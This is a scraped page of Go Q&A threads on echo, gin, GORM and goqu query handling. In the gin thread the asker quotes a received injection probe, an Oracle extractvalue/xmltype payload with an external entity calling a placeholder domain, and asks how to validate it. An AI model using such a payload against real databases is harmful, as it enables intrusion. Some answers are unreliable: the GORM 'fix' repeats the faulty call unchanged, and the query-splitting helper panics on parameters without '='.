I am using https://github.com/labstack/echo in one of the projects. I am using c.QueryParam to parse the query parameter and its values. One of the values contains a + symbol in it and it converts them to a space character (which is correct). However, I would like to retain the + character in the value.
Ex: http://localhost:8080?param=test+test
fmt.Println(c.QueryParam("param"))
Right now it outputs test test. However, I am expecting the output as test+test. Is it possible to achieve it using c.QueryParam?
You can get the raw query and then parse the parameter and it's value
func hello(c echo.Context) error {
//to get the raw query
fmt.Println(c.Request().URL.RawQuery)
return c.String(http.StatusOK, "Hello, World!")
}
Then you can use strings.split(rawQuery,"=") to get the parameter and it's value.
You can write a custom helper function like below -
func CustomQueryParam(c echo.Context, name string) string {
qParams := make(map[string]string)
for _, singleQueryParamStr := range strings.Split(c.QueryString(), "&") {
val := strings.Split(singleQueryParamStr, "=")
qParams[val[0]] = val[1]
}
return qParams[name]
}
func TestGet(c echo.Context) error {
param := CustomQueryParam(c, "param")
fmt.Println(param)
return c.JSON(http.StatusOK, map[string]interface{}{
"message": "request is successful",
})
}
Now, the output is as your expection. It prints test+test. But what actually CustomQueryParam do?
Okay, let's explore the insight. Suppose, the api call is -
http://localhost:8080?param=test1+test2¶m2=test3
The CustomQueryParam function will take an echo.Context instance and the query param name as function parameters.
Then, inside for loop the whole query string i.e. in our case which is param=test1+test2¶m2=test3 is split by & and stored into string slice made by each query param string ([]string{"param=test1+test2", "param2=test3"}).
After that, we iterate over each query param string and again split into a string slice of two values having first value as param name and second value as param value. For example, for first query param string, the resultant output is like below -
"param=test1+test2" => []string{"param", "test1+test2"}
Then, the first value (param name) is assigned as map key and second value (param value) as map value.
After finishing above process for every query string, the map value by query param name (which is the parameter of this function) is returned.
One of the interesting fact about this custom function is that it returns empty string if query param is not found.
Related
I am trying to write a function to query all results that match a set of conditions and save them in a struct slice.
// Queries the database for the given set of fields and some string conditions specified as a map
func QueryAllRecords(db *gorm.DB, outputObject interface{}, conditions map[string]interface{}) {
result := db.Where(conditions).Find(&outputObject)
if result.Error != nil {
panic(result.Error)
}
log.Println(Utils.CreateLogMessage("Queried all records", outputObject))
}
According to the GORM docs (https://gorm.io/docs/query.html#Retrieving-all-objects), I can query all records using the .Find() function and then specify the struct where the output of the query will be saved.
This is where I make my function call to QueryAllRecords:
var outputObject []Models.Product
conditions := map[string]interface{}{"name": "Sample Product"}
DB.QueryAllRecords(db, outputObject, conditions)
fmt.Println(outputObject)
When I try to print outputObject, I get an empty an empty slice []. It seems like the .Find(&outputObject) is not saving the result in the slice like I want it to. I can successfully print outputObject within the function itself, but not after it has returned.
Use the DB.QueryAllRecords(db, outputObject, conditions) instead
Running the following go code:
package main
import (
"fmt"
"github.com/gin-gonic/gin"
)
func main() {
r := gin.Default()
r.GET("/", func(c *gin.Context) {
qParam, ok := c.GetQuery("fromDate") // qParam is nil
query := c.Request.URL.Query() // query is empty
rawQuery := c.Request.URL.RawQuery // contains the parameter
fmt.Println(qParam, ok, query, rawQuery)
c.JSON(200, gin.H{
"message": "pong",
})
})
r.Run("localhost:8181")
}
With the following query parameter, golang seems to not be returning it:
fromDate=%7bbase%7d%7c%7cextractvalue(xmltype('%3c!DOCTYPE%20root%20[%3c!ENTITY%20%%20xxx%20SYSTEM%20%7bbase%7d%22http%3a%2f%2f%7bdomain%7d%2fext1%22%3e%xxx%3b]%3e'),'%2fl')
Although it is present in the URL.RawQuery:
debug screenshot
I need to access this value so I can validate it and return an error code, but as it is returned as nil I cannot do that.
Gin c.Query() and URL.Query() are the same:
Query returns the keyed url query value if it exists, otherwise it returns an empty string (""). It is shortcut for c.Request.URL.Query().Get(key)
And URL.Query() silently discards invalid params.
The query param you showed above is invalid. You should properly escape the original string before calling the server endpoint.
If this is not under your control, you may just be out of luck. You could attempt fixing the raw param, but that is arbitrary and not scalable.
For the record, this is what your original query string might look like:
{base}||extractvalue(xmltype('<!DOCTYPE root [<!ENTITY xxx SYSTEM {base}"http://{domain}/ext1"> xxx;]>'),'/l')
If your original query string is:
fromDate={base}||extractvalue(xmltype('<!DOCTYPE root [<!ENTITY % xxx SYSTEM {base}"http://{domain}/ext1">%xxx;]>'),'/l')
then you should encode the query like this(i don't think it is a good way):
fromDate=%7bbase%7d%7c%7cextractvalue(xmltype(%27%3C!DOCTYPE%20root%20[%3C!ENTITY%20%25%20xxx%20SYSTEM%20%7bbase%7d%22http%3a%2f%2f%7bdomain%7d%2fext1%22%3E%25xxx%3b]%3E%27),%27%2fl%27)
because the '%' in your original string was encoded as '%' not '%25' so the '%%' would be parsed with error.
I know Go can return multiple values from a single function/method, but I can't understand WHERE are the values returning from.
ok, err := DB.SelectWithWhere(d, goqu.Ex{
"location": id,
}).Limit(1).ScanStruct(d)
SelectWithWhere only returns one value.
func (s *SqlDB) SelectWithWhere(m models.Model, e goqu.Expression, args ...interface{}) *goqu.SelectDataset {
ds := s.goqu.From(m.Table()).Where(e)
if len(args) > 0 {
ds = ds.Select(args...)
}
return ds //Single Return
}
It's returning false to ok and it's wrong, because it is finding a result from database, the values are stored in d structure.
Anyone could tell me why is ok returning as false and WHERE is the second return value comming from?
I Found:
ScanStruct
Scans a row into a slice a struct, returns false if a row wasnt found
Is it possible to return 1 value from the SelectWithWhere function and the other one from ScanStruct?
SelectWithWhere returns one value, which is then used as a receiver for Limit(1). That returns one value, which is used as a receiver for ScanStruct, which returns two values. Your code can be rewritten as:
x:=DB.SelectWithWhere(d, goqu.Ex{"location": id})
y:=x.Limit(1)
ok, err:=y.ScanStruct(d)
Trying to get acquainted with go. I want to do something like this:
func validation(){
headers := metadata.New(map[string]string{"auth":"", "abc": "", "xyz" : ""})
token := headers["auth"]
data.Add("cookie", token)
}
I am getting the following error : cannot use token (type []string) as type string in argument to data.Add. Has this error got to do anything with the metadata(map) I have inside the function?
Token is a []string and the 2nd argument to Add is a string. Assuming that you want the first element of the slice and the slice is guaranteed to have at least one element, use this:
data.Add("cookie", token[0])
If you don't know that there's at least one element in the slice, then protect with an if:
if len(token) > 0 {
data.Add("cookie", token[0])
} else {
// handle missing value
}
Is it possible to pass a result form function which returns multiple values directly to function which accepts only one? Example:
func MarshallCommandMap(mapToMarshall map[string]string) string {
return string(json.Marshal(mapToMarshall))
}
The example above will cause compilation error:multiple-value json.Marshal() in single-value context. I know it is possible to get same result with additional variable:
func MarshallCommandMap(mapToMarshall map[string]string) string {
marshaledBytes, marshalingError := json.Marshal(mapToMarshall)
if (marshalingError != nil) {
panic(marshalingError)
}
return string(marshaledBytes)
}
But is it possible to pass only first value direclty without any variable?
I think you mean doing something like python's tuple unpacking.
Unfortunately this is not possible in Go (AFAIK).
No you can't, however 2 things with your code.
Shouldn't panic, either return an error or return an empty string.
You can make it shorter.
Example :
func MarshallCommandMap(mapToMarshall map[string]string) string {
js, _ := json.Marshal(mapToMarshall) //ignore the error
return string(js)
}